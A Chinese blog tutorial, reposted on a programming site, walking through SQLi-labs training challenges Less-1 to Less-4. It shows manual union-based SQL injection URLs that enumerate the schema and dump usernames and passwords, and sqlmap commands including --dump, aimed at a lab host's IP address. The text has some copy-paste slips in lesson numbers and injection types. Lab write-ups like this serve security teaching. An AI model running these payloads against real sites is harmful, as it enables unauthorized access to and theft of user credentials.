2-手工sql注入(进阶篇) sqlilabs靶场1-4题

2024-05-02 09:04
文章标签 sql 注入 进阶篇 靶场 database 手工 sqlilabs

本文主要是介绍2-手工sql注入(进阶篇) sqlilabs靶场1-4题，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

1. 阅读，学习本章前，可以先去看看基础篇：1-手工sql注入(基础篇)-CSDN博客

2. 本章通过对sqlilabs靶场的实战，关于sqlilabs靶场的搭建：Linux搭建靶场-CSDN博客

3. 本章会使用到sqlmap，关于sqlmap的命令：sql注入工具-​sqlmap-CSDN博客

点击访问题目：

通过 url 参数访问题目：http://服务器地址/sqlilabs/Less-1/

  • Less-1 是第一题题目
  • Less-2 是第二题题目 
  • 以此类推，进行访问

判断注入类型：在SQL注入中，判断是字符型注入还是数字型注入可以通过以下方法：

  • 1. 观察注入点的上下文：在注入点前后的SQL语句中，如果注入点处的参数被引号包围（例如：'1'），则很可能是字符型注入；如果不被引号包围（例如：1），则可能是数字型注入。
  • 2. 字符串函数的使用：在注入点处，如果使用了字符串函数（如CONCAT、SUBSTRING、LENGTH等），则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值，而数字类型的参数并不需要使用字符串函数。
  • 3. 错误消息：如果在注入点处注入了非法字符或非法语法，且数据库返回了错误消息，可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如，如果错误消息中包含了关于字符串数据类型的错误信息（如字符串转换错误），则可能是字符型注入。
  • 4. 注入点的响应：在注入点处注入不同类型的数据，观察数据库的响应。如果注入点返回了期望的结果（如查询结果集），则可能是字符型注入；如果注入点返回了错误信息或者无效的结果，可能是数字型注入。

Less-1

第一题的题目Less-1需要通过给url传递 id 参数访问数据：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-1/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
  • 返回内容：根据id查询出来的用户信息
  • 模拟场景：后端查询用户数据

注入点：http://38.147.186.138/sqlilabs/Less-1/?id=1

手工注入

第一步：判断注入点 是否存在注入

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1

测试是否存在注入：

  1. 数字型注入测试：
    • 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1 and 1=1 #      正常返回数据
    • 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1 and 1=2 #      正常返回数据
  2. 字符型注入-单引号闭合测试：'
    • 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' and 1=1 #      不正常返回数据，页面报错，可能存在注入点，报错中可以看到数字1，推断出是字符型注入

结果：

  • http://38.147.186.138/sqlilabs/Less-1/?id=1 结果存在注入
  • 注入类型为字符型：1' and 1=1

第二步： 获取字段数

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '

获取字段数：

  1. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 1 #   报错
  2. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 1 -- +   字段数为1，显示正常
  3. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 2 -- +   字段数为2，显示正常
  4. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 3 -- +   字段数为3，显示正常
  5. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 4 -- +   字段数为4，显示： Unknown column '4' in 'order clause' ，通过这个报错可以知道 字段的长度为3，因为为4，报错，表示没有这个字段数，也可以理解为超过字段长度
  6. 问题：为什么使用 # 注释符报错，而使用 -- 注释符不报错
    1. 当sql注入时使用 order by # 时，它是将 # 后面的内容作为注释，因此后面的语句被忽略，可能会导致语法错误或意外结果
    2. 当sql注入时使用 order by -- + 是单行注释的开始，并注释掉了 -- + 后面的内容，这样做的目的是注释掉 sql 语句中可能造成错误的部分，而不会导致整个语句被忽略
    3. 总的来说，-- + 注释符号在 sql 注入中使用更为广泛，因为它可以注释掉部分语句而不会导致整个语句被忽略。也可以 在使用 # 报错后 使用 -- + ，因为具体使用哪种注释符号还要根据具体的注入场景和数据库的不同而定
    4. 但是建议还是使用 -- + 

结果：

  • 字段数长度为：3

第三步： 确定回显位

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3

确定回显位：

  1. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=1' union select 1,2,3 -- + 未显示回显位，显示查询的数据
  2. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=2' union select 1,2,3 -- + 未显示回显位，显示查询的数据
  3. 输入：http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,2,3 -- + 显示回显位，回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3
  4. 问题：关于为什么 id=2' union select 1,2,3 -- +和?id=2' union select 1,2,3 -- + 返回是正常的数据而不是 回显的数据
    1. 因为 id=2' 数据库中存在2的数据查询出来2的数据显示到网页中，然后才查询 union select 1,2,3 -- +
    2. 解决：可以设置 id=-1'  或将 id值设置为一个没有结果的值，例如 id=1000',因为 数据库中没有id=1000的数据，所以这时候就是 2，3进行占位

结果：

  • 回显位置为：网页的第二列和第三列

第四步：获取当前数据库库名

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列

  • 使用myqsl中的database()函数获取数据库名称
  • 输入：http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,database(),3 -- +

结果：

  • 数据库名称为：security

第五步：获取数据库所有表名

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security

获取数据库表名：

  • 获取数据库所有表名：http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
  • sql语句解读：从`information_schema.tables`表中获取所有属于`security`数据库的表名，并将它们以逗号分隔的形式返回。
    • group_concat() 是一个聚合函数，它用于将多个行的值连接到一个字符串中。它将多个值连接在一起，并且可以选择添加分隔符。
    • information_schema.tables 是一个默认的数据库，用于存储数据库中所有表的元数据。它包含了数据库中所有表的名称、类型、所属数据库、创建时间等信息。通过查询 information_schema.tables，可以获取数据库中表的相关信息，例如表名称、列数、索引数等。

结果：

  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表

第六步：获取数据表列名

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
  • 数据库security中的数据表为：emails,referers,usagents,users
    • users中存储这用户的信息，所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入：http://38.147.186.138/sqlilabs/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果：

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步：获取数据

已知：

  • 注入点为：http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
  • 数据库security中的数据表为：emails,referers,usagents,users
    • users中存储这用户的信息，所以这是主要的获取数据的目标表
  • users数据库列名：username和password

获取数据：

  • 输入：http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users -- +
 

Less-1  手工注入结束
 

 

 

sqlmap注入
 

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --batch
  2. 获取所有数据库：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --dbs  --batch
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --current-db --batch
  4. 获取security数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" --tables --batch
  5. 获取users表中的字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch
 

 

Less-1  sqlmap工具注入结束
 

 

 

 

 

 

Less-2 
 

第二题的题目Less-2需要通过给url传递 id 参数访问数据：也就是我们的注入点
 

  • 例如：http:///sqlilabs/Less-1/?id=1 访问(查询)数据库中id为1的数据
  • 分析： 
    • 请求方式：get请求
    • 请求参数：id
  • 返回内容：根据id查询出来的用户信息
  • 模拟场景：后端查询用户数据
 

 

注入点：http://38.147.186.138/sqlilabs/Less-1/?id=1' and 1=1
 

 

手工注入
 

1. 判断注入类型
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
 

判断注入类型:
 

  • 数字型注入测试： 
    • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1 and 1=1 #      正常返回数据
    • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1 and 1=2 #      正常返回数据
  • 字符型注入-单引号闭合测试：' 
    • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1' and 1=1 #      不正常返回数据，页面报错，可能存在注入点，不被引号包围（例如：1），则可能是数字型注入
 

结果：
 

  • http://38.147.186.138/sqlilabs/Less-2/?id=1 结果存在注入
  • 注入类型为数字型注入：1' 
 

 

第二步： 获取字段数
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为：数字型注入
 

 

获取字段数：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 1 -- +   字段数为1，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 2 -- +   字段数为2，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 3 -- +   字段数为3，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 4 -- +   字段数为4，字段数为4，显示： Unknown column '4' in 'order clause' ，通过这个报错可以知道 字段的长度为3，因为为4，报错，表示没有这个字段数，也可以理解为超过字段长度
 

结果：
 

  • 字段数长度为：3
 

 

第三步： 确定回显位
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
 

确定回显位：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,3 --+ 显示回显位，回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3
 

结果：
 

  • 回显位置为：网页的第二列和第三列
 

 

第四步：获取当前数据库库名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
 

 

获取当前数据库库名:
 

  • 使用myqsl中的database()函数获取数据库名称
  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,database(),3 --+
 

结果：
 

  • 数据库名称为：security
 

 

第五步：获取数据库所有表名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
 

 

获取数据库表名：
 

  • 获取数据库所有表名：http://38.147.186.138/sqlilabs/Less-2/?id=-100 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
 

结果：
 

  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
 

 

第六步：获取数据表列名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
 

获取数据表列名:
 

  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
 

结果：
 

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名
 

 

第六步：获取数据
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为：字符型注入，闭合字符为单引号 '
  • 字段数为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
  • users数据库列名：username和password
 

获取数据：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,group_concat(username,password) from users --+
 

Less-1  手工注入结束
 

 

 

Less-3
 

第三题的题目Less-3需要通过给url传递 id 参数访问数据：也就是我们的注入点
 

  • 例如：http:///sqlilabs/Less-3/?id=1 访问(查询)数据库中id为1的数据
  • 分析： 
    • 请求方式：get请求
    • 请求参数：id
  • 返回内容：根据id查询出来的用户信息
  • 模拟场景：后端查询用户数据
 

 

注入点：http://38.147.186.138/sqlilabs/Less-2/?id=1' and 1=1
 

 

手工注入
 

1. 判断注入类型
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-2/?id=1
 

 

判断注入类型:
 

  • 数字型注入测试： 
    • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=1 and 1=1 #      正常返回数据
    • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=1 and 1=2 #      正常返回数据
  • 字符型注入测试： 
    • http://38.147.186.138/sqlilabs/Less-3/?id=1' and 1=2 #   不正常返回数据，页面报错，可能存在注入点，1 被引号包围 "1"  说明是一个字符型注入，报错中还有一个 ) 号，可以推断这是一个 单引号加右括号的闭合方式：')  
 

结果：
 

  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
 

 

第二步： 获取字段数
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
 

获取字段数：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 1 -- +   字段数为1，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 2 -- +   字段数为2，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 3 -- +   字段数为3，显示正常
  •  
    输入：http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 4 -- +   字段数为4，显示： Unknown column '4' in 'order clause' ，通过这个报错可以知道 字段的长度为3，因为为4，报错，表示没有这个字段数，也可以理解为超过字段长度
     
 

结果：
 

  • 字段数长度为：3
 

 

第三步： 确定回显位
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
  • 字段数长度为：3
 

确定回显位：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,3 --+ 显示回显位，回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3
 

结果：
 

  • 回显位置为：网页的第二列和第三列
 

 

第四步：获取当前数据库库名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
 

获取当前数据库库名：
 

  • 使用myqsl中的database()函数获取数据库名称
  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,database(),3 --+
 

结果：
 

  • 数据库名称为：security
 

 

第五步：获取数据库所有表名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称：security
 

获取数据库所有表名:    http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
 

结果：
 

  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
 

 

第六步：获取数据表列名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称：security
  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
 

获取数据表列名:
 

  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
 

​​​​​结果：
 

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名
 

 

第六步：获取数据
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入：1') 闭合方式为 ')
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称：security
  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
  • users数据库列名：username和password
 

获取数据：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,group_concat(username,password) from users --+
 

 

Less-4
 

第四题的题目Less-4需要通过给url传递 id 参数访问数据：也就是我们的注入点
 

  • 例如：http:///sqlilabs/Less-4/?id=1 访问(查询)数据库中id为1的数据
  • 分析： 
    • 请求方式：get请求
    • 请求参数：id
  • 返回内容：根据id查询出来的用户信息
  • 模拟场景：后端查询用户数据
 

 

注入点：http://38.147.186.138/sqlilabs/Less-4/?id=1' and 1=1
 

 

 

手工注入
 

1. 判断注入类型
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
 

判断注入类型:
 

  • 数字型注入测试： 
    • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1 and 1=1 #      正常返回数据
    • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1 and 1=2 #      正常返回数据
  • 字符型测试-单引号闭合：' 
    • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1' 正常返回数据
  • 字符型测试-单引号闭合+括号：') 
    • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1') 正常返回数据
  • 字符型测试-双引号闭合：" 
    • ​​​​​​​​​​​​​​输入：http://38.147.186.138/sqlilabs/Less-4/?id=1" 不正常返回数据，页面报错，可能存在注入点，1 被引号包围 "1"  说明是一个字符型注入，报错中还有一个 ) 号，可以推断这是一个 双引号加右括号的闭合方式：")  
 

结果：
 

  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
 

 

第二步： 获取字段数
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
 

获取字段数：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 1 -- +   字段数为1，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 2 -- +   字段数为2，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 3 -- +   字段数为3，显示正常
  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 4 -- +   字段数为4，显示： Unknown column '4' in 'order clause' ，通过这个报错可以知道 字段的长度为3，因为为4，报错，表示没有这个字段数，也可以理解为超过字段长度
 

结果：
 

  • 字段数长度为：3
 

 

第三步： 确定回显位
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
  • 字段数长度为：3
 

确定回显位：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,3 --+ 显示回显位，回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3
 

结果：
 

  • 回显位置为：网页的第二列和第三列
 

 

第四步：获取当前数据库库名
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
 

获取当前数据库库名：
 

  • 使用myqsl中的database()函数获取数据库名称
  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,database(),3 --+
 

结果：
 

  • 数据库名称为：security
 

 

第五步：获取数据库所有表名
 

 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
 

获取数据库所有表名:    http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
 

结果：
 

  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
 

 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
 

获取数据表列名:
 

  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
 

结果：
 

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名
 

 

第六步：获取数据
 

已知：
 

  • 注入点为：http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入：1") 闭合方式为 ")
  • 字段数长度为：3
  • 回显位置为：网页的第二列和第三列
  • 数据库名称为：security
  • 数据库security中的数据表为：emails,referers,usagents,users
  • users中存储这用户的信息，所以这是主要的获取数据的目标表
  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名
 

获取数据：
 

  • 输入：http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,group_concat(username,password) from users --+
 

 

 

 


                                    

                                        这篇关于2-手工sql注入(进阶篇) sqlilabs靶场1-4题的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
                                    

                                    

                                

                            

                            

                        

                    

                    

                        

                            原文地址:

                            本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.chinasem.cn/article/953890。
                            
                        

                    

                    
                    

                        
                            
                        
                    

                

                

                    相关文章
                

                    

                        

                            

                                

                                    
                                        MySQL双主搭建+keepalived高可用的实现
                                    
                                

                            

                            

                                

                                    MySQL双主搭建+keepalived高可用的实现
                                

                                

                                    《MySQL双主搭建+keepalived高可用的实现》本文主要介绍了MySQL双主搭建+keepalived高可用的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,...																									目录一、测试环境准备二、主从搭建1.创建复制用户2.创建复制关系3.开启复制，确认复制是否成功4.同
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)
                                    
                                

                            

                            

                                

                                    MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)
                                

                                

                                    《MyBatis动态SQL优化之标签的实战与技巧(常见用法)》本文通过详细的示例和实际应用场景,介绍了如何有效利用这些标签来优化MyBatis配置,提升开发效率,确保SQL的高效执行和安全性,感...																									目录动态SQL详解一、动态SQL的核心概念1.1 什么是动态SQL？1.2 动态SQL的优点1.3 动态S
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        Mysql表的简单操作(基本技能)
                                    
                                

                            

                            

                                

                                    Mysql表的简单操作(基本技能)
                                

                                

                                    《Mysql表的简单操作(基本技能)》在数据库中,表的操作主要包括表的创建、查看、修改、删除等,了解如何操作这些表是数据库管理和开发的基本技能,本文给大家介绍Mysql表的简单操作,感兴趣的朋友一起看...																									目录3.1 创建表 3.2 查看表结构3.3 修改表3.4 实践案例：修改表在数据库中，表的操作主要
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法
                                    
                                

                            

                            

                                

                                    mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法
                                

                                

                                    《mysql出现ERROR2003(HY000):Can‘tconnecttoMySQLserveron‘localhost‘(10061)的解决方法》本文主要介绍了mysql出现...																									目录前言：第一步：第二步：第三步：总结：前言：当你想通过命令窗口想打开mysql时候发现提http://www.cpp
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        MySQL大表数据的分区与分库分表的实现
                                    
                                

                            

                            

                                

                                    MySQL大表数据的分区与分库分表的实现
                                

                                

                                    《MySQL大表数据的分区与分库分表的实现》数据库的分区和分库分表是两种常用的技术方案,本文主要介绍了MySQL大表数据的分区与分库分表的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有...																									目录1. mysql大表数据的分区1.1 什么是分区？1.2 分区的类型1.3 分区的优点1.4 分
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        MySQL错误代码2058和2059的解决办法
                                    
                                

                            

                            

                                

                                    MySQL错误代码2058和2059的解决办法
                                

                                

                                    《MySQL错误代码2058和2059的解决办法》：本文主要介绍MySQL错误代码2058和2059的解决办法,2058和2059的错误码核心都是你用的客户端工具和mysql版本的密码插件不匹配,...																									目录1. 前置理解2.报错现象3.解决办法（敲重点！！！）1. php前置理解2058和2059的错误
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        Mysql删除几亿条数据表中的部分数据的方法实现
                                    
                                

                            

                            

                                

                                    Mysql删除几亿条数据表中的部分数据的方法实现
                                

                                

                                    《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定...																									目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        MySQL INSERT语句实现当记录不存在时插入的几种方法
                                    
                                

                            

                            

                                

                                    MySQL INSERT语句实现当记录不存在时插入的几种方法
                                

                                

                                    《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面：本文主要介绍MySQLINSERT语句实现当记录不存在时...																									目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        MySQL Workbench 安装教程(保姆级)
                                    
                                

                            

                            

                                

                                    MySQL Workbench 安装教程(保姆级)
                                

                                

                                    《MySQLWorkbench安装教程(保姆级)》MySQLWorkbench是一款强大的数据库设计和管理工具,本文主要介绍了MySQLWorkbench安装教程,文中通过图文介绍的非常详细,对大...																									目录前言：详细步骤：一、检查安装的数据库版本二、在官网下载对应的mysql Workbench版本，要是
                                

                                

                                    阅读更多...
                                

                            

                        

                    

                    

                        

                            

                                

                                    
                                        mysql数据库重置表主键id的实现
                                    
                                

                            

                            

                                

                                    mysql数据库重置表主键id的实现
                                

                                

                                    《mysql数据库重置表主键id的实现》在我们的开发过程中,难免在做测试的时候会生成一些杂乱无章的SQL主键数据,本文主要介绍了mysql数据库重置表主键id的实现,具有一定的参考价值,感兴趣的可以了...																									目录关键语法演示案例在我们的开发过程中，难免在做测试的时候会生成一些杂乱无章的SQL主键数据，当我们
                                

                                

                                    阅读更多...
                                

                            

                        

                    

            

        

    


    


    

        

            Copyright China编程   23002807@qq.com
        

        

            沪ICP备2023033072号-2